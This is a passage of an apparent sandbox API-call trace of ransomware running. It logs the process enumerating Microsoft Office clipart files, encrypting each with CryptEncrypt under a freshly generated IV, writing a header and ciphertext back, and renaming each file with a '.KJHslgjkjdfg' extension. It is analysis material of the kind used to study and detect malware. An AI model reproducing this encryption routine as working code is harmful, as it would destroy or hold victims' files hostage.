lpNewFilePointer=0x0) returned 1 [0205.361] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1100c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1100c, lpOverlapped=0x0) returned 1 [0205.362] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11010, dwBufLen=0x11010 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11010) returned 1 [0205.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.363] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x11010, lpOverlapped=0x0) returned 1 [0205.364] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x110e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.364] SetEndOfFile (hFile=0x130) returned 1 [0205.367] GetProcessHeap () returned 0x2ef0000 [0205.367] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.367] GetProcessHeap () returned 0x2ef0000 [0205.367] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.kjhslgjkjdfg")) returned 1 [0205.369] CloseHandle (hObject=0x130) returned 1 [0205.369] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1 [0205.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.371] GetProcessHeap () returned 0x2ef0000 [0205.371] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.371] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.372] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0205.374] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.374] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.374] GetProcessHeap () returned 0x2ef0000 [0205.374] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.374] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.374] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.374] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.375] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.375] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.375] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.375] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.375] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.375] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.375] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xae2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xae2, lpOverlapped=0x0) returned 1 [0205.375] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaf0) returned 1 [0205.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.376] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xaf0, lpOverlapped=0x0) returned 1 [0205.376] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.376] SetEndOfFile (hFile=0x130) returned 1 [0205.378] GetProcessHeap () returned 0x2ef0000 [0205.379] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.379] GetProcessHeap () returned 0x2ef0000 [0205.379] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.kjhslgjkjdfg")) returned 1 [0205.380] CloseHandle (hObject=0x130) returned 1 [0205.380] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1 [0205.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.381] GetProcessHeap () returned 0x2ef0000 [0205.381] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.381] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.381] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0205.390] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.390] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.391] GetProcessHeap () returned 0x2ef0000 [0205.391] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.391] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.391] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.391] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.391] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.391] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.391] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.391] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.392] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.392] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.392] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf56, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf56, lpOverlapped=0x0) returned 1 [0205.392] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf60, dwBufLen=0xf60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf60) returned 1 [0205.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.392] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf60, lpOverlapped=0x0) returned 1 [0205.392] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.392] SetEndOfFile (hFile=0x130) returned 1 [0205.407] GetProcessHeap () returned 0x2ef0000 [0205.407] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.407] GetProcessHeap () returned 0x2ef0000 [0205.407] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.kjhslgjkjdfg")) returned 1 [0205.409] CloseHandle (hObject=0x130) returned 1 [0205.409] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1 [0205.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.410] GetProcessHeap () returned 0x2ef0000 [0205.410] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.410] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.411] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0205.415] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.415] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.415] GetProcessHeap () returned 0x2ef0000 [0205.415] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.415] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.415] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.415] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.415] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.415] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.415] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.416] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.416] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.416] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.416] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf6a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf6a, lpOverlapped=0x0) returned 1 [0205.416] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf70, dwBufLen=0xf70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf70) returned 1 [0205.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.416] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf70, lpOverlapped=0x0) returned 1 [0205.416] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.416] SetEndOfFile (hFile=0x130) returned 1 [0205.419] GetProcessHeap () returned 0x2ef0000 [0205.419] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.419] GetProcessHeap () returned 0x2ef0000 [0205.419] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.kjhslgjkjdfg")) returned 1 [0205.421] CloseHandle (hObject=0x130) returned 1 [0205.422] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1 [0205.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.426] GetProcessHeap () returned 0x2ef0000 [0205.426] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.426] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.426] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.426] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.426] GetProcessHeap () returned 0x2ef0000 [0205.426] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.426] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.426] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.426] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.428] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.429] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.429] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.429] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.429] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.429] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.429] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4330, lpOverlapped=0x0) returned 1 [0205.430] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4330, dwBufLen=0x4330 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4330) returned 1 [0205.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.431] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4330, lpOverlapped=0x0) returned 1 [0205.431] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.431] SetEndOfFile (hFile=0x130) returned 1 [0205.434] GetProcessHeap () returned 0x2ef0000 [0205.434] HeapFree (in: 